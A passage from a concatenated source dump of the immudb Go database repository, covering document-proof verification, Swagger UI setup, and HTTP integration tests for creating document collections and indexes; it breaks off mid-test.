{ return nil, err } state := &schema.ImmutableState{ Db: proof.Database, TxId: targetID, TxHash: targetAlh[:], Signature: proof.VerifiableTx.Signature, } if serverSigningPubKey != nil { err := state.CheckSignature(serverSigningPubKey) if err != nil { return nil, err } } return state, nil } func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, error) { docID, err := document.NewDocumentIDFromHexEncodedString(documentID) if err != nil { return nil, err } valbuf := bytes.Buffer{} rval := sql.NewBlob(docID[:]) encVal, _, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, document.MaxDocumentIDLength) if err != nil { return nil, err } _, err = valbuf.Write(encVal) if err != nil { return nil, err } pkEncVals := valbuf.Bytes() return sql.MapKey( []byte{documentPrefix}, sql.RowPrefix, sql.EncodeID(1), // fixed database identifier sql.EncodeID(collectionID), sql.EncodeID(sql.PKIndexID), pkEncVals, ), nil } ================================================ FILE: pkg/verification/verification_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package verification import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) func TestVerifyDocument(t *testing.T) { _, err := VerifyDocument(context.Background(), nil, nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) t.Run("", func(t *testing.T) { doc := &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(321), }, } _, err = VerifyDocument(context.Background(), &protomodel.ProofDocumentResponse{}, doc, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) }) } ================================================ FILE: sonar-project.properties ================================================ sonar.projectKey=codenotary_immudb sonar.projectName=immudb sonar.projectVersion=1.1.0 sonar.organization=codenotary sonar.sources=. sonar.exclusions=**/*_test.go,**/*test,**/*schema.pb*,**/*schema_grpc.pb*,**/*schemav2.pb*,**/*schemav2_grpc.pb*,**/statik.go,test/objectstorage_tests/** sonar.tests=. sonar.test.inclusions=**/*_test.go sonar.go.coverage.reportPaths=coverage.out sonar.verbose=true ================================================ FILE: swagger/default/index.html ================================================ No Swagger UI enabled immudb immudb mascot

immudb was built without swagger ui support.

See here for instructions, or download an official build.

================================================ FILE: swagger/swagger.go ================================================ //go:build swagger // +build swagger package swagger import ( "embed" "io/fs" "net/http" "github.com/codenotary/immudb/embedded/logger" ) //go:embed dist/* var content embed.FS func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { fSys, err := fs.Sub(content, "dist") if err != nil { return err } l.Infof("Swagger UI enabled: %s", addr) mux.Handle("/api/docs/", http.StripPrefix("/api/docs", http.FileServer(http.FS(fSys)))) return nil } ================================================ FILE: swagger/swagger_default.go ================================================ //go:build !swagger // +build !swagger package swagger import ( "embed" "io/fs" "net/http" "github.com/codenotary/immudb/embedded/logger" ) //go:embed default/* var content embed.FS func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { fSys, err := fs.Sub(content, "default") if err != nil { return err } l.Infof("Swagger not built-in") mux.HandleFunc("/api/docs/", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "/missingswagger/", http.StatusTemporaryRedirect) }) mux.Handle("/missingswagger/", http.StripPrefix("/missingswagger", http.FileServer(http.FS(fSys)))) return nil } ================================================ FILE: swagger/swagger_default_test.go ================================================ //go:build !swagger // +build !swagger package swagger import ( "io/ioutil" "net/http" "net/http/httptest" "os" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestSetupSwaggerUI(t *testing.T) { req, err := http.NewRequest("GET", "/api/docs", nil) require.NoError(t, err) handler := http.NewServeMux() SetupSwaggerUI(handler, logger.NewSimpleLogger("swagger", os.Stderr), "localhost:8080") require.NoError(t, err) rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) assert.True(t, rr.Code == 301) // Test just if the response exist _, err = ioutil.ReadAll(rr.Body) require.NoError(t, err) } ================================================ FILE: swagger/swagger_test.go ================================================ //go:build swagger // +build swagger package swagger import ( "io/ioutil" "net/http" "net/http/httptest" "os" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestSetupSwaggerUI(t *testing.T) { req, err := http.NewRequest("GET", "/api/docs/", nil) require.NoError(t, err) handler := http.NewServeMux() SetupSwaggerUI(handler, logger.NewSimpleLogger("swagger", os.Stderr), "localhost:8080") require.NoError(t, err) rr := httptest.NewRecorder() handler.ServeHTTP(rr, req) assert.True(t, rr.Code == 200) // Test just if the response exist page, err := ioutil.ReadAll(rr.Body) require.NoError(t, err) assert.Contains(t, string(page), "Swagger UI") } ================================================ FILE: swagger/swaggeroverrides.js ================================================ window.onload = function() { // // the following lines will be replaced by docker/configurator, when it runs in a docker-container window.ui = SwaggerUIBundle({ urls: [ {"url": "/api/docs/apidocs.swagger.json", "name": "immudb REST API v2: Authorization and Document API"}, {"url": "/api/docs/schema.swagger.json", "name": "immudb REST API v1: KV and SQL API"} ], dom_id: '#swagger-ui', deepLinking: true, presets: [ SwaggerUIBundle.presets.apis, SwaggerUIStandalonePreset ], plugins: [ SwaggerUIBundle.plugins.DownloadUrl ], layout: "StandaloneLayout" }); // }; ================================================ FILE: test/data_v1.1.0/immudb.identifier ================================================ agOy ================================================ FILE: test/document_storage_tests/documents_tests/actions/create_collections.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package actions import ( "fmt" "net/http" "github.com/gavv/httpexpect/v2" ) func CreateCollectionWithName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { return createCollection(expect, sessionID, name, nil) } func CreateCollectionWithNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ "fields": []interface{}{ map[string]interface{}{ "name": "first_name", "type": "STRING", }, }, } return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameAndIdFieldName(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ "documentIdFieldName": "emp_no", } return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameIdFieldNameAndOneField(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ "documentIdFieldName": "emp_no", "fields": []interface{}{ map[string]interface{}{ "name": "hire_date", "type": "STRING", }, }, } return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameOneFieldAndOneUniqueIndex(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ "fields": []interface{}{ map[string]interface{}{ "name": "id_number", "type": "INTEGER", }, }, "indexes": []interface{}{ map[string]interface{}{ "fields": []string{ "id_number", }, "isUnique": true, }, }, } return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameAndMultipleFields(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ "fields": []interface{}{ map[string]interface{}{ "name": "birth_date", "type": "STRING", }, map[string]interface{}{ "name": "first_name", "type": "STRING", }, map[string]interface{}{ "name": "last_name", "type": "STRING", }, map[string]interface{}{ "name": "gender", "type": "STRING", }, map[string]interface{}{ "name": "hire_date", "type": "STRING", }, }, } return createCollection(expect, sessionID, name, payload) } func CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { payload := map[string]interface{}{ "fields": []interface{}{ map[string]interface{}{ "name": "birth_date", "type": "STRING", }, map[string]interface{}{ "name": "first_name", "type": "STRING", }, map[string]interface{}{ "name": "last_name", "type": "STRING", }, map[string]interface{}{ "name": "gender", "type": "STRING", }, map[string]interface{}{ "name": "hire_date", "type": "STRING", }, }, "indexes": []interface{}{ map[string]interface{}{ "fields": []string{ "birth_date", "last_name", }, "isUnique": true, }, }, } return createCollection(expect, sessionID, name, payload) } func createCollection(expect *httpexpect.Expect, sessionID string, name string, payload map[string]interface{}) *httpexpect.Object { expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().IsEmpty() collection := expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", sessionID). Expect(). Status(http.StatusOK). JSON().Object() return collection } ================================================ FILE: test/document_storage_tests/documents_tests/actions/create_index.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package actions import ( "fmt" "net/http" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) func CreateIndex(expect *httpexpect.Expect, sessionID string, collectionName string, payload models.CreateIndex) { expect.POST(fmt.Sprintf("/collection/%s/index", collectionName)). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK). JSON().Object().Empty() } ================================================ FILE: test/document_storage_tests/documents_tests/actions/get_collections.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package actions import ( "fmt" "net/http" "github.com/gavv/httpexpect/v2" ) func GetCollection(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { collection := expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", sessionID). Expect(). Status(http.StatusOK). JSON().Object() return collection } ================================================ FILE: test/document_storage_tests/documents_tests/actions/insert_documents.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package actions import ( "fmt" "net/http" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) func InsertOneDocumentWithMultipleFields(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object) models.Employee { collectionName := collection.Value("collection").Object().Value("name").String().Raw() document := models.Employee{ BirthDate: "1964-06-02", FirstName: "Bezalel", LastName: "Simmel", Gender: "F", HireDate: "1985-11-21", } payload := map[string]interface{}{ "documents": []interface{}{ document, }, } insertDocuments(expect, sessionID, collectionName, payload, "first_name", document.FirstName) return document } func insertDocuments(expect *httpexpect.Expect, sessionID string, collectionName string, payload map[string]interface{}, field string, value interface{}) { expect.POST(fmt.Sprintf("/collection/%s/documents", collectionName)). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().NotEmpty(). Keys().ContainsOnly("transactionId", "documentIds") } ================================================ FILE: test/document_storage_tests/documents_tests/actions/search_documents.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package actions import ( "fmt" "net/http" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) func SearchDocuments(expect *httpexpect.Expect, sessionID string, collection *httpexpect.Object, fieldComparison models.FieldComparison) *httpexpect.Object { fieldComparisons := []models.FieldComparison{fieldComparison} expressions := models.Expressions{FieldComparisons: fieldComparisons} query := models.Query{Expressions: []models.Expressions{expressions}} payload := models.SearchPayload{ Query: query, Page: 1, PageSize: 1, } document := expect.POST(fmt.Sprintf("/collection/%s/documents/search", collection.Value("collection").Object().Value("name").String().Raw())). WithHeader("grpc-metadata-sessionid", sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object(). Value("revisions").Array().First(). Object().Value("document").Object() return document } ================================================ FILE: test/document_storage_tests/documents_tests/actions/session.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package actions import ( "net/http" "os" "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) func OpenSession(t *testing.T) (*httpexpect.Expect, string) { baseURL := GetBaseUrl() user := models.User{ Username: "immudb", Password: "immudb", Database: "defaultdb", } expect := httpexpect.WithConfig(httpexpect.Config{ BaseURL: baseURL, Reporter: httpexpect.NewAssertReporter(t), Printers: []httpexpect.Printer{ httpexpect.NewDebugPrinter(t, true), }, }) obj := expect.POST("/authorization/session/open"). WithJSON(user). Expect(). Status(http.StatusOK).JSON().Object() return expect, obj.Value("sessionID").Raw().(string) } func GetBaseUrl() string { baseURL, exists := os.LookupEnv("OBJECTS_TEST_BASEURL") if !exists { baseURL = "http://localhost:8091/api/v2" } return baseURL } ================================================ FILE: test/document_storage_tests/documents_tests/create_collections_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "fmt" "net/http" "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/gavv/httpexpect/v2" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) type CreateCollectionsTestSuite struct { suite.Suite expect *httpexpect.Expect sessionID string collection_name string } func (s *CreateCollectionsTestSuite) SetupTest() { s.expect, s.sessionID = actions.OpenSession(s.T()) s.collection_name = "a" + uuid.New().String() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithName() { collection := actions.CreateCollectionWithName(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneField() { collection := actions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("first_name") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndIdFieldName() { collection := actions.CreateCollectionWithNameAndIdFieldName(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("emp_no") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("emp_no") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("emp_no") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameIdFieldNameAndOneField() { collection := actions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("emp_no") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("emp_no") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("hire_date") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("emp_no") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameOneFieldAndOneUniqueIndex() { collection := actions.CreateCollectionWithNameOneFieldAndOneUniqueIndex(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("id_number") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("fields").Array().Value(0).IsEqual("id_number") collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndMultipleFields() { collection := actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(6) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("birth_date") collection.Value("collection").Object().Value("fields").Array().Value(2).Object().Value("name").IsEqual("first_name") collection.Value("collection").Object().Value("fields").Array().Value(3).Object().Value("name").IsEqual("last_name") collection.Value("collection").Object().Value("fields").Array().Value(4).Object().Value("name").IsEqual("gender") collection.Value("collection").Object().Value("fields").Array().Value(5).Object().Value("name").IsEqual("hire_date") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(1) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameMultipleFieldsAndMultipleIndexes() { collection := actions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") collection.Value("collection").Object().Value("name").IsEqual(s.collection_name) collection.Value("collection").Object().Value("documentIdFieldName").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Length().IsEqual(6) collection.Value("collection").Object().Value("fields").Array().Value(0).Object().Value("name").IsEqual("_id") collection.Value("collection").Object().Value("fields").Array().Value(1).Object().Value("name").IsEqual("birth_date") collection.Value("collection").Object().Value("fields").Array().Value(2).Object().Value("name").IsEqual("first_name") collection.Value("collection").Object().Value("fields").Array().Value(3).Object().Value("name").IsEqual("last_name") collection.Value("collection").Object().Value("fields").Array().Value(4).Object().Value("name").IsEqual("gender") collection.Value("collection").Object().Value("fields").Array().Value(5).Object().Value("name").IsEqual("hire_date") collection.Value("collection").Object().Value("indexes").Array().Length().IsEqual(2) collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("fields").Array().Value(0).IsEqual("_id") collection.Value("collection").Object().Value("indexes").Array().Value(0).Object().Value("isUnique").Boolean().IsTrue() collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("fields").Array().Value(0).IsEqual("birth_date") collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("fields").Array().Value(1).IsEqual("last_name") collection.Value("collection").Object().Value("indexes").Array().Value(1).Object().Value("isUnique").Boolean().IsTrue() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithEmptyBody() { payload := map[string]interface{}{} s.expect.POST(fmt.Sprintf("/collection/%s", s.collection_name)). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusOK).JSON().Object().IsEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneInvalidField() { name := "a" + uuid.New().String() payload := map[string]interface{}{ "fields": "birth_date", } s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() s.expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). Status(http.StatusInternalServerError). JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithNameAndOneEmptyField() { name := "a" + uuid.New().String() payload := map[string]interface{}{ "fields": "", } s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). WithJSON(payload). Expect(). Status(http.StatusBadRequest).JSON().Object().NotEmpty() s.expect.GET(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). Status(http.StatusInternalServerError). JSON().Object().NotEmpty() } func (s *CreateCollectionsTestSuite) TestCreateCollectionWithExistingName() { name := "a" + uuid.New().String() s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). Status(http.StatusOK).JSON().Object().IsEmpty() s.expect.POST(fmt.Sprintf("/collection/%s", name)). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). Status(http.StatusInternalServerError).JSON().Object().NotEmpty() collections := s.expect.GET("/collections"). WithHeader("grpc-metadata-sessionid", s.sessionID). Expect(). Status(http.StatusOK). JSON().Object() collectionsFound := collections.Value("collections").Array().FindAll(func(index int, value *httpexpect.Value) bool { return value.Object().Value("name").Raw() == name }) assert.Equal(s.T(), len(collectionsFound), 1) } func TestCreateCollectionsSuite(t *testing.T) { suite.Run(t, new(CreateCollectionsTestSuite)) } ================================================ FILE: test/document_storage_tests/documents_tests/create_indexes_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( "testing" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" "github.com/google/uuid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/suite" ) type IndexTestSuite struct { suite.Suite expect *httpexpect.Expect sessionID string collection_name string } func (s *IndexTestSuite) SetupTest() { s.expect, s.sessionID = actions.OpenSession(s.T()) s.collection_name = "a" + uuid.New().String() } func (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameAndOneField() { actions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name) payload := models.CreateIndex{ Fields: []string{"first_name"}, } actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") var employees models.Collection collection.Value("collection").Object().Decode(&employees) assert.Equal(s.T(), employees.Name, s.collection_name) assert.Equal(s.T(), employees.DocumentIdFieldName, "_id") assert.Equal(s.T(), len(employees.Fields), 2) assert.Equal(s.T(), employees.Fields[0].Name, "_id") assert.Equal(s.T(), employees.Fields[1].Name, "first_name") assert.Equal(s.T(), len(employees.Indexes), 2) assert.Equal(s.T(), employees.Indexes[0].Fields[0], "_id") assert.Equal(s.T(), employees.Indexes[0].IsUnique, true) assert.Equal(s.T(), employees.Indexes[1].Fields[0], "first_name") } func (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameIdFieldNameAndOneField() { actions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name) payload := models.CreateIndex{ Fields: []string{"hire_date"}, } actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") var employees models.Collection collection.Value("collection").Object().Decode(&employees) assert.Equal(s.T(), employees.Name, s.collection_name) assert.Equal(s.T(), employees.DocumentIdFieldName, "emp_no") assert.Equal(s.T(), len(employees.Fields), 2) assert.Equal(s.T(), employees.Fields[0].Name, "emp_no") assert.Equal(s.T(), employees.Fields[1].Name, "hire_date") assert.Equal(s.T(), len(employees.Indexes), 2) assert.Equal(s.T(), employees.Indexes[0].Fields[0], "emp_no") assert.Equal(s.T(), employees.Indexes[1].Fields[0], "hire_date") } func (s *IndexTestSuite) TestCreateUniqueIndexOnCollectionCreatedWithNameAndMultipleFields() { actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name) payload := models.CreateIndex{ Fields: []string{"gender"}, IsUnique: true, } actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) collection.Keys().ContainsOnly("collection") collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") var employees models.Collection collection.Value("collection").Object().Decode(&employees) assert.Equal(s.T(), employees.Name, s.collection_name) assert.Equal(s.T(), employees.DocumentIdFieldName, "_id") assert.Equal(s.T(), len(employees.Fields), 6) assert.Equal(s.T(), employees.Fields[0].Name, "_id") assert.Equal(s.T(), employees.Fields[1].Name, "birth_date") assert.Equal(s.T(), employees.Fields[2].Name, "first_name") assert.Equal(s.T(), employees.Fields[3].Name, "last_name") assert.Equal(s.T(), employees.Fields[4].Name, "gender") assert.Equal(s.T(), employees.Fields[5].Name, "hire_date") assert.Equal(s.T(), len(employees.Indexes), 2) assert.Equal(s.T(), employees.Indexes[0].Fields[0], "_id") assert.Equal(s.T(), employees.Indexes[0].IsUnique, true) assert.Equal(s.T(), employees.Indexes[1].Fields[0], "gender") assert.Equal(s.T(), employees.Indexes[1].IsUnique, true) } func (s *IndexTestSuite) TestCreateUniqueIndexesOnCollectionCreatedWithNameMultipleFieldsAndMultipleIndexes() { actions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name) payload := models.CreateIndex{ Fields: []string{"gender", "hire_date"}, IsUnique: true, } actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) collection := actions.GetCollection(s.expect, s.sessionID, 